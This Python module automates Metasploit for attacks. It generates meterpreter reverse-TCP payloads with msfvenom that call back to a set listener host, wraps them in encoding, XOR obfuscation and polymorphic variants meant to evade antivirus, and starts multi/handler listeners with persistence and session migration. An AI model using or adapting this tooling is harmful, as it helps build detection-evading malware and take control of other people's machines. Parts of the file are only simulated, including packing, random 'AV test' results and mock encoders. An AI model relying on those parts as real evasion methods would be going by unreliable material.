msf_advanced_tools.py•39.8 kB
"""
Advanced MSF Tools Module - Extended functionality beyond core tools.
"""
import os
import time
import json
import asyncio
import logging
import tempfile
import shutil
import random
import base64
import subprocess
from pathlib import Path
from typing import Dict, List, Optional, Any, Union
from dataclasses import dataclass
from enum import Enum
from msf_stable_integration import MSFConsoleStableWrapper as MSFBaseTools, OperationResult, OperationStatus
logger = logging.getLogger(__name__)
@dataclass
class AdvancedResult(OperationResult):
"""Extended result structure for advanced tools."""
tool_name: str = None
generated_files: List[str] = None
output_file: Optional[str] = None
configuration: Optional[Dict] = None
class MSFAdvancedTools(MSFBaseTools):
"""Advanced MSF tools with extended capabilities."""
def __init__(self):
super().__init__()
self.active_listeners = []
self.automated_workflows = {}
self.encoding_cache = {}
# Tool 1: MSF Evasion Suite
async def msf_evasion_suite(
self,
payload: str,
evasion_techniques: List[str] = None,
obfuscation_level: int = 1,
target_av: Optional[str] = None,
output_format: str = "exe",
test_mode: bool = False,
custom_encoder: Optional[str] = None,
timeout: Optional[float] = None
) -> AdvancedResult:
"""
Advanced evasion suite for AV bypass.
Args:
payload: Base payload to evade
evasion_techniques: List of techniques to apply
obfuscation_level: Obfuscation intensity (1-5)
target_av: Target antivirus to evade
output_format: Output format
test_mode: Test against local AV
custom_encoder: Custom encoder to use
"""
start_time = time.time()
try:
if not evasion_techniques:
evasion_techniques = ["encoding", "obfuscation", "polymorphic"]
# Validate obfuscation level
obfuscation_level = max(1, min(5, obfuscation_level))
# Track evasion results
evasion_results = []
generated_files = []
# Apply each evasion technique
for technique in evasion_techniques:
if technique == "encoding":
result = await self._apply_encoding_evasion(
payload, custom_encoder or "x86/shikata_ga_nai", output_format
)
evasion_results.append(result)
if result.get("output_file"):
generated_files.append(result["output_file"])
elif technique == "obfuscation":
result = await self._apply_obfuscation_evasion(
payload, obfuscation_level, output_format
)
evasion_results.append(result)
if result.get("output_file"):
generated_files.append(result["output_file"])
elif technique == "polymorphic":
result = await self._apply_polymorphic_evasion(
payload, obfuscation_level, output_format
)
evasion_results.append(result)
if result.get("output_file"):
generated_files.append(result["output_file"])
elif technique == "packing":
result = await self._apply_packing_evasion(payload, output_format)
evasion_results.append(result)
if result.get("output_file"):
generated_files.append(result["output_file"])
elif technique == "encryption":
result = await self._apply_encryption_evasion(payload, output_format)
evasion_results.append(result)
if result.get("output_file"):
generated_files.append(result["output_file"])
# Test against AV if requested
av_test_results = {}
if test_mode:
av_test_results = await self._test_av_evasion(generated_files)
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"payload": payload,
"techniques_applied": evasion_techniques,
"obfuscation_level": obfuscation_level,
"evasion_results": evasion_results,
"av_test_results": av_test_results,
"files_generated": len(generated_files)
},
execution_time=time.time() - start_time,
tool_name="msf_evasion_suite",
generated_files=generated_files,
configuration={"techniques": evasion_techniques, "level": obfuscation_level}
)
except Exception as e:
logger.error(f"MSF Evasion Suite error: {e}")
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error=str(e),
execution_time=time.time() - start_time,
tool_name="msf_evasion_suite"
)
async def _apply_encoding_evasion(self, payload: str, encoder: str, format_type: str) -> Dict:
"""Apply encoding-based evasion."""
try:
# Use msfvenom for encoding
with tempfile.NamedTemporaryFile(delete=False, suffix=f".{format_type}") as tmp:
output_file = tmp.name
# Determine iterations based on encoder
iterations = 3 if "shikata" in encoder else 1
cmd = [
"msfvenom", "-p", payload,
"-e", encoder, "-i", str(iterations),
"-f", format_type, "-o", output_file,
"LHOST=192.168.1.100", "LPORT=4444"
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
return {
"technique": "encoding",
"encoder": encoder,
"iterations": iterations,
"output_file": output_file if result.returncode == 0 else None,
"success": result.returncode == 0,
"error": result.stderr if result.returncode != 0 else None
}
except Exception as e:
return {"technique": "encoding", "success": False, "error": str(e)}
async def _apply_obfuscation_evasion(self, payload: str, level: int, format_type: str) -> Dict:
"""Apply obfuscation-based evasion."""
try:
# Generate base payload
with tempfile.NamedTemporaryFile(delete=False, suffix=f".{format_type}") as tmp:
base_file = tmp.name
cmd = [
"msfvenom", "-p", payload,
"-f", format_type, "-o", base_file,
"LHOST=192.168.1.100", "LPORT=4444"
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
if result.returncode != 0:
return {
"technique": "obfuscation",
"success": False,
"error": result.stderr
}
# Apply obfuscation layers
output_file = f"{base_file}.obfuscated"
# Read payload
with open(base_file, 'rb') as f:
payload_data = f.read()
# Apply obfuscation (simplified example)
obfuscated_data = payload_data
for i in range(level):
# Simple obfuscation: XOR with random key
key = random.randint(1, 255)
obfuscated_data = bytes([b ^ key for b in obfuscated_data])
# Write obfuscated payload
with open(output_file, 'wb') as f:
f.write(obfuscated_data)
# Clean up base file
os.unlink(base_file)
return {
"technique": "obfuscation",
"level": level,
"output_file": output_file,
"success": True
}
except Exception as e:
return {"technique": "obfuscation", "success": False, "error": str(e)}
async def _apply_polymorphic_evasion(self, payload: str, level: int, format_type: str) -> Dict:
"""Apply polymorphic evasion."""
try:
# Generate multiple variants
variants = []
for i in range(level):
with tempfile.NamedTemporaryFile(delete=False, suffix=f".{format_type}") as tmp:
output_file = tmp.name
# Use different encoders for each variant
encoders = ["x86/shikata_ga_nai", "x86/countdown", "x86/fnstenv_mov"]
encoder = encoders[i % len(encoders)]
# Add random NOPs
nop_count = random.randint(10, 50)
cmd = [
"msfvenom", "-p", payload,
"-e", encoder, "-n", str(nop_count),
"-f", format_type, "-o", output_file,
"LHOST=192.168.1.100", "LPORT=4444"
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
if result.returncode == 0:
variants.append({
"variant": i + 1,
"encoder": encoder,
"nop_count": nop_count,
"file": output_file
})
return {
"technique": "polymorphic",
"variants_created": len(variants),
"variants": variants,
"output_file": variants[0]["file"] if variants else None,
"success": len(variants) > 0
}
except Exception as e:
return {"technique": "polymorphic", "success": False, "error": str(e)}
async def _apply_packing_evasion(self, payload: str, format_type: str) -> Dict:
"""Apply packing-based evasion."""
try:
# Generate base payload
with tempfile.NamedTemporaryFile(delete=False, suffix=f".{format_type}") as tmp:
base_file = tmp.name
cmd = [
"msfvenom", "-p", payload,
"-f", format_type, "-o", base_file,
"LHOST=192.168.1.100", "LPORT=4444"
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
if result.returncode != 0:
return {
"technique": "packing",
"success": False,
"error": result.stderr
}
# Simulate packing (in reality, would use UPX or similar)
packed_file = f"{base_file}.packed"
# For simulation, just copy and compress
if format_type == "exe":
# Would use UPX: upx --best base_file -o packed_file
shutil.copy(base_file, packed_file)
else:
shutil.copy(base_file, packed_file)
os.unlink(base_file)
return {
"technique": "packing",
"packer": "simulated",
"output_file": packed_file,
"success": True
}
except Exception as e:
return {"technique": "packing", "success": False, "error": str(e)}
async def _apply_encryption_evasion(self, payload: str, format_type: str) -> Dict:
"""Apply encryption-based evasion."""
try:
# Generate encrypted payload
with tempfile.NamedTemporaryFile(delete=False, suffix=f".{format_type}") as tmp:
output_file = tmp.name
# Use template with encryption
cmd = [
"msfvenom", "-p", payload,
"--smallest", # Make it smaller for encryption
"-f", format_type, "-o", output_file,
"LHOST=192.168.1.100", "LPORT=4444"
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
return {
"technique": "encryption",
"method": "simulated_crypter",
"output_file": output_file if result.returncode == 0 else None,
"success": result.returncode == 0,
"error": result.stderr if result.returncode != 0 else None
}
except Exception as e:
return {"technique": "encryption", "success": False, "error": str(e)}
async def _test_av_evasion(self, files: List[str]) -> Dict:
"""Test files against local AV (simulation)."""
# In real implementation, would scan with ClamAV or similar
results = {}
for file in files:
results[file] = {
"detected": random.choice([True, False]),
"av_name": "SimulatedAV",
"detection_name": "Generic.Malware" if random.random() > 0.5 else None
}
return results
# Tool 2: MSF Listener Orchestrator
async def msf_listener_orchestrator(
self,
action: str,
listener_config: Dict[str, Any] = None,
template_name: Optional[str] = None,
multi_handler: bool = False,
persistence: bool = False,
auto_migrate: bool = False,
timeout: Optional[float] = None
) -> AdvancedResult:
"""
Advanced listener management and orchestration.
Args:
action: Action to perform (create, start, stop, template, monitor, migrate, orchestrate)
listener_config: Listener configuration
template_name: Template name for listener
multi_handler: Use multi-handler
persistence: Enable persistent listeners
auto_migrate: Auto-migrate sessions
"""
start_time = time.time()
try:
if action == "create":
return await self._create_listener(
listener_config, multi_handler, persistence, auto_migrate
)
elif action == "start":
return await self._start_listeners(listener_config)
elif action == "stop":
return await self._stop_listeners(listener_config)
elif action == "template":
return await self._create_listener_template(template_name, listener_config)
elif action == "monitor":
return await self._monitor_listeners()
elif action == "migrate":
return await self._auto_migrate_sessions()
elif action == "orchestrate":
return await self._orchestrate_multiple_listeners(listener_config)
else:
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error=f"Unknown action: {action}",
execution_time=time.time() - start_time,
tool_name="msf_listener_orchestrator"
)
except Exception as e:
logger.error(f"MSF Listener Orchestrator error: {e}")
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error=str(e),
execution_time=time.time() - start_time,
tool_name="msf_listener_orchestrator"
)
async def _create_listener(self, config: Dict, multi_handler: bool, persistence: bool, auto_migrate: bool) -> AdvancedResult:
"""Create a new listener."""
start_time = time.time()
# Default configuration
default_config = {
"payload": "windows/meterpreter/reverse_tcp",
"LHOST": "0.0.0.0",
"LPORT": "4444"
}
# Merge configurations
if config:
default_config.update(config)
# Use multi/handler if requested
handler_type = "exploit/multi/handler" if multi_handler else "auxiliary/server/capture/http"
# Create handler
commands = [
f"use {handler_type}",
f"set PAYLOAD {default_config['payload']}",
f"set LHOST {default_config['LHOST']}",
f"set LPORT {default_config['LPORT']}"
]
# Add persistence options
if persistence:
commands.extend([
"set ExitOnSession false",
"set AutoRunScript persistence"
])
# Add auto-migration
if auto_migrate:
commands.append("set AutoRunScript migrate -f")
# Execute commands
results = []
for cmd in commands:
result = await self.execute_command(cmd)
results.append({
"command": cmd,
"status": result.status.value,
"output": result.data.get("stdout", "") if result.data else ""
})
# Start the listener
run_result = await self.execute_command("run -j")
# Extract job ID
job_id = None
if run_result.data and "stdout" in run_result.data:
output = run_result.data["stdout"]
if "Job" in output:
# Extract job ID from output
import re
match = re.search(r'Job (\d+)', output)
if match:
job_id = match.group(1)
if job_id:
self.active_listeners.append(job_id)
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"listener_created": True,
"job_id": job_id,
"configuration": default_config,
"multi_handler": multi_handler,
"persistence": persistence,
"auto_migrate": auto_migrate,
"setup_results": results
},
execution_time=time.time() - start_time,
tool_name="msf_listener_orchestrator",
configuration=default_config
)
# Tool 3: MSF Workspace Automator
async def msf_workspace_automator(
self,
action: str,
workspace_name: str,
template: Optional[str] = None,
source_workspace: Optional[str] = None,
archive_path: Optional[str] = None,
automation_rules: Optional[Dict] = None,
timeout: Optional[float] = None
) -> AdvancedResult:
"""
Enterprise workspace automation.
Args:
action: Automation action
workspace_name: Target workspace name
template: Template to use
source_workspace: Source for cloning
archive_path: Path for archive operations
automation_rules: Automation rules to apply
"""
start_time = time.time()
try:
if action == "create_template":
return await self._create_workspace_template(workspace_name, template)
elif action == "clone":
return await self._clone_workspace(workspace_name, source_workspace)
elif action == "archive":
return await self._archive_workspace(workspace_name, archive_path)
elif action == "automated_setup":
return await self._automated_workspace_setup(workspace_name, automation_rules)
elif action == "merge":
return await self._merge_workspaces(workspace_name, source_workspace)
elif action == "cleanup":
return await self._cleanup_workspace(workspace_name, automation_rules)
else:
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error=f"Unknown action: {action}",
execution_time=time.time() - start_time,
tool_name="msf_workspace_automator"
)
except Exception as e:
logger.error(f"MSF Workspace Automator error: {e}")
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error=str(e),
execution_time=time.time() - start_time,
tool_name="msf_workspace_automator"
)
async def _create_workspace_template(self, workspace_name: str, template: str) -> AdvancedResult:
"""Create workspace from template."""
start_time = time.time()
# Template configurations
templates = {
"pentest": {
"scan_configs": ["tcp_scan", "udp_scan", "service_scan"],
"exploit_configs": ["auto_exploit", "manual_review"],
"report_configs": ["executive_summary", "technical_details"]
},
"red_team": {
"scan_configs": ["stealth_scan", "targeted_scan"],
"exploit_configs": ["persistence", "lateral_movement"],
"report_configs": ["operation_summary", "ioc_list"]
},
"vuln_assessment": {
"scan_configs": ["comprehensive_scan", "authenticated_scan"],
"exploit_configs": ["verification_only"],
"report_configs": ["vulnerability_report", "remediation_guide"]
}
}
template_config = templates.get(template, templates["pentest"])
# Create workspace
create_result = await self.execute_command(f"workspace -a {workspace_name}")
# Switch to workspace
switch_result = await self.execute_command(f"workspace {workspace_name}")
# Apply template configurations
setup_results = []
# Set up scan configurations
for scan_config in template_config["scan_configs"]:
# This would set up actual scan configurations
setup_results.append({
"type": "scan",
"config": scan_config,
"status": "configured"
})
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"workspace": workspace_name,
"template": template,
"configuration": template_config,
"setup_results": setup_results
},
execution_time=time.time() - start_time,
tool_name="msf_workspace_automator",
configuration=template_config
)
# Tool 4: MSF Encoder Factory
async def msf_encoder_factory(
self,
payload_data: str,
encoding_chain: List[str],
bad_chars: Optional[str] = None,
iterations: int = 1,
optimization: str = "size",
custom_encoder: Optional[str] = None,
timeout: Optional[float] = None
) -> AdvancedResult:
"""
Custom encoder factory for advanced payload encoding.
Args:
payload_data: Raw payload data or payload type
encoding_chain: Chain of encoders to apply
bad_chars: Characters to avoid
iterations: Encoding iterations
optimization: Optimization target (size/speed/evasion)
custom_encoder: Custom encoder script
"""
start_time = time.time()
try:
# Validate encoding chain
if not encoding_chain:
encoding_chain = ["x86/shikata_ga_nai"]
# Generate base payload if needed
if payload_data.startswith("windows/") or payload_data.startswith("linux/"):
# It's a payload type, generate it
with tempfile.NamedTemporaryFile(delete=False, suffix=".raw") as tmp:
base_file = tmp.name
cmd = [
"msfvenom", "-p", payload_data,
"-f", "raw", "-o", base_file,
"LHOST=192.168.1.100", "LPORT=4444"
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
if result.returncode != 0:
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error=f"Failed to generate base payload: {result.stderr}",
execution_time=time.time() - start_time,
tool_name="msf_encoder_factory"
)
with open(base_file, 'rb') as f:
payload_bytes = f.read()
os.unlink(base_file)
else:
# It's raw data
payload_bytes = payload_data.encode() if isinstance(payload_data, str) else payload_data
# Apply encoding chain
encoded_variants = []
current_data = payload_bytes
for encoder in encoding_chain:
for i in range(iterations):
try:
encoded_data = await self._apply_custom_encoding(
current_data, encoder, bad_chars, optimization
)
variant = {
"encoder": encoder,
"iteration": i + 1,
"size": len(encoded_data),
"data": base64.b64encode(encoded_data).decode() if len(encoded_data) < 1000 else "too_large"
}
encoded_variants.append(variant)
current_data = encoded_data
except Exception as e:
logger.warning(f"Encoding failed for {encoder} iteration {i+1}: {e}")
continue
# Save final encoded payload
with tempfile.NamedTemporaryFile(delete=False, suffix=".encoded") as tmp:
output_file = tmp.name
tmp.write(current_data)
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"original_size": len(payload_bytes),
"final_size": len(current_data),
"encoding_chain": encoding_chain,
"iterations_per_encoder": iterations,
"variants_created": len(encoded_variants),
"variants": encoded_variants,
"optimization": optimization,
"output_file": output_file
},
execution_time=time.time() - start_time,
tool_name="msf_encoder_factory",
output_file=output_file,
configuration={"chain": encoding_chain, "iterations": iterations}
)
except Exception as e:
logger.error(f"MSF Encoder Factory error: {e}")
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error=str(e),
execution_time=time.time() - start_time,
tool_name="msf_encoder_factory"
)
async def _apply_custom_encoding(self, data: bytes, encoder: str, bad_chars: str, optimization: str) -> bytes:
"""Apply custom encoding to data."""
# Simplified encoding simulation
if encoder == "x86/shikata_ga_nai":
# Simulate polymorphic XOR encoding
key = random.randint(1, 255)
encoded = bytes([b ^ key for b in data])
# Add decoder stub (simplified)
decoder = bytes([0x31, 0xc9, 0x31, 0xdb, key])
return decoder + encoded
elif encoder == "x86/countdown":
# Simulate countdown encoding
encoded = bytes(reversed(data))
return bytes([0x90] * 5) + encoded # NOP sled + reversed data
elif encoder == "x86/fnstenv_mov":
# Simulate FPU-based encoding
encoded = data
# Add FPU instructions (simplified)
fpu_stub = bytes([0xd9, 0x74, 0x24, 0xf4])
return fpu_stub + encoded
elif custom_encoder:
# Would execute custom encoder script
return data
else:
# Default: simple XOR
return bytes([b ^ 0xAA for b in data])
# Tool 10: MSF Integration Bridge - REMOVED
async def msf_integration_bridge(self, **kwargs) -> AdvancedResult:
return AdvancedResult(
status=OperationStatus.FAILURE,
data=None,
error="msf_integration_bridge has been removed - too complex",
execution_time=0.0,
tool_name="msf_integration_bridge"
)
# Missing listener orchestrator methods
async def _monitor_listeners(self) -> AdvancedResult:
"""Monitor active listeners and sessions."""
start_time = time.time()
# Get jobs (listeners)
jobs_result = await self.execute_command("jobs -l")
# Get sessions
sessions_result = await self.execute_command("sessions -l")
# Parse results
active_jobs = []
if jobs_result.data and "stdout" in jobs_result.data:
# Parse jobs output
lines = jobs_result.data["stdout"].split('\n')
for line in lines:
if line.strip() and not line.startswith('Jobs') and not line.startswith('==='):
active_jobs.append(line.strip())
active_sessions = []
if sessions_result.data and "stdout" in sessions_result.data:
# Parse sessions output
lines = sessions_result.data["stdout"].split('\n')
for line in lines:
if line.strip() and not line.startswith('Active') and not line.startswith('==='):
active_sessions.append(line.strip())
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"listeners": {
"active": len(active_jobs),
"jobs": active_jobs
},
"sessions": {
"active": len(active_sessions),
"list": active_sessions
},
"monitored_at": time.time()
},
execution_time=time.time() - start_time,
tool_name="msf_listener_orchestrator"
)
async def _start_listeners(self, config: Dict) -> AdvancedResult:
"""Start multiple listeners."""
# Placeholder - would implement starting multiple listeners
return await self._create_listener(config, True, False, False)
async def _stop_listeners(self, config: Dict) -> AdvancedResult:
"""Stop listeners."""
start_time = time.time()
# Kill all jobs if no specific config
if not config or "job_ids" not in config:
result = await self.execute_command("jobs -K")
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"stopped_all": True,
"output": result.data.get("stdout", "") if result.data else ""
},
execution_time=time.time() - start_time,
tool_name="msf_listener_orchestrator"
)
# Kill specific jobs
stopped = []
for job_id in config["job_ids"]:
result = await self.execute_command(f"jobs -k {job_id}")
stopped.append({
"job_id": job_id,
"success": result.status == OperationStatus.SUCCESS
})
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"stopped_jobs": stopped
},
execution_time=time.time() - start_time,
tool_name="msf_listener_orchestrator"
)
async def _create_listener_template(self, template_name: str, config: Dict) -> AdvancedResult:
"""Create listener template."""
# Placeholder - would save template configuration
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"template_created": True,
"name": template_name,
"configuration": config
},
execution_time=0.1,
tool_name="msf_listener_orchestrator"
)
async def _auto_migrate_sessions(self) -> AdvancedResult:
"""Auto-migrate sessions."""
# Placeholder - would implement session migration
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"migration_enabled": True,
"note": "Would implement automatic session migration"
},
execution_time=0.1,
tool_name="msf_listener_orchestrator"
)
async def _orchestrate_multiple_listeners(self, config: Dict) -> AdvancedResult:
"""Orchestrate multiple listeners."""
# Placeholder - would implement complex listener orchestration
return AdvancedResult(
status=OperationStatus.SUCCESS,
data={
"orchestration_started": True,
"configuration": config,
"note": "Would implement multi-listener orchestration"
},
execution_time=0.1,
tool_name="msf_listener_orchestrator"
)
async def cleanup(self):
"""Enhanced cleanup for advanced tools."""
# Stop any running listeners
for listener_id in self.active_listeners:
try:
# Stop listener (implementation would send proper stop commands)
pass
except Exception as e:
logger.warning(f"Failed to stop listener {listener_id}: {e}")
# Cleanup temporary files
# Implementation would clean up all generated files
# Call parent cleanup
await super().cleanup()
# Convenience functions
async def msf_evasion_suite(**kwargs):
"""Direct access to MSF Evasion Suite."""
tools = MSFAdvancedTools()
try:
await tools.initialize()
return await tools.msf_evasion_suite(**kwargs)
finally:
await tools.cleanup()
async def msf_listener_orchestrator(**kwargs):
"""Direct access to MSF Listener Orchestrator."""
tools = MSFAdvancedTools()
try:
await tools.initialize()
return await tools.msf_listener_orchestrator(**kwargs)
finally:
await tools.cleanup()
async def msf_workspace_automator(**kwargs):
"""Direct access to MSF Workspace Automator."""
tools = MSFAdvancedTools()
try:
await tools.initialize()
return await tools.msf_workspace_automator(**kwargs)
finally:
await tools.cleanup()
async def msf_encoder_factory(**kwargs):
"""Direct access to MSF Encoder Factory."""
tools = MSFAdvancedTools()
try:
await tools.initialize()
return await tools.msf_encoder_factory(**kwargs)
finally:
await tools.cleanup()
async def msf_integration_bridge(**kwargs):
"""Direct access to MSF Integration Bridge."""
tools = MSFAdvancedTools()
try:
await tools.initialize()
return await tools.msf_integration_bridge(**kwargs)
finally:
await tools.cleanup()
# Testing functionality
if __name__ == "__main__":
async def test_advanced_tools():
"""Test the advanced tools."""
print("🚀 Testing MSF Advanced Tools")
print("=" * 50)
tools = MSFAdvancedTools()
await tools.initialize()
try:
# Test Evasion Suite
print("\n📦 Testing Evasion Suite...")
result = await tools.msf_evasion_suite(
payload="windows/meterpreter/reverse_tcp",
evasion_techniques=["encoding", "obfuscation"],
obfuscation_level=2,
test_mode=True
)
print(f"Status: {result.status.value}")
if result.data:
print(f"Techniques applied: {result.data.get('techniques_applied')}")
print(f"Files generated: {result.data.get('files_generated')}")
# Test Listener Orchestrator
print("\n🎧 Testing Listener Orchestrator...")
result = await tools.msf_listener_orchestrator(
action="create",
listener_config={
"payload": "windows/meterpreter/reverse_tcp",
"LHOST": "0.0.0.0",
"LPORT": "4444"
},
multi_handler=True,
persistence=True
)
print(f"Status: {result.status.value}")
if result.data:
print(f"Job ID: {result.data.get('job_id')}")
# Test Workspace Automator
print("\n📂 Testing Workspace Automator...")
result = await tools.msf_workspace_automator(
action="create_template",
workspace_name="test_workspace",
template="pentest"
)
print(f"Status: {result.status.value}")
if result.data:
print(f"Workspace: {result.data.get('workspace')}")
print(f"Template: {result.data.get('template')}")
# Test Encoder Factory
print("\n🔐 Testing Encoder Factory...")
result = await tools.msf_encoder_factory(
payload_data="windows/meterpreter/reverse_tcp",
encoding_chain=["x86/shikata_ga_nai", "x86/countdown"],
iterations=2,
optimization="size"
)
print(f"Status: {result.status.value}")
if result.data:
print(f"Original size: {result.data.get('original_size')}")
print(f"Final size: {result.data.get('final_size')}")
print(f"Variants created: {result.data.get('variants_created')}")
finally:
await tools.cleanup()
print("\n✅ Advanced tools testing complete!")
# Run tests
asyncio.run(test_advanced_tools())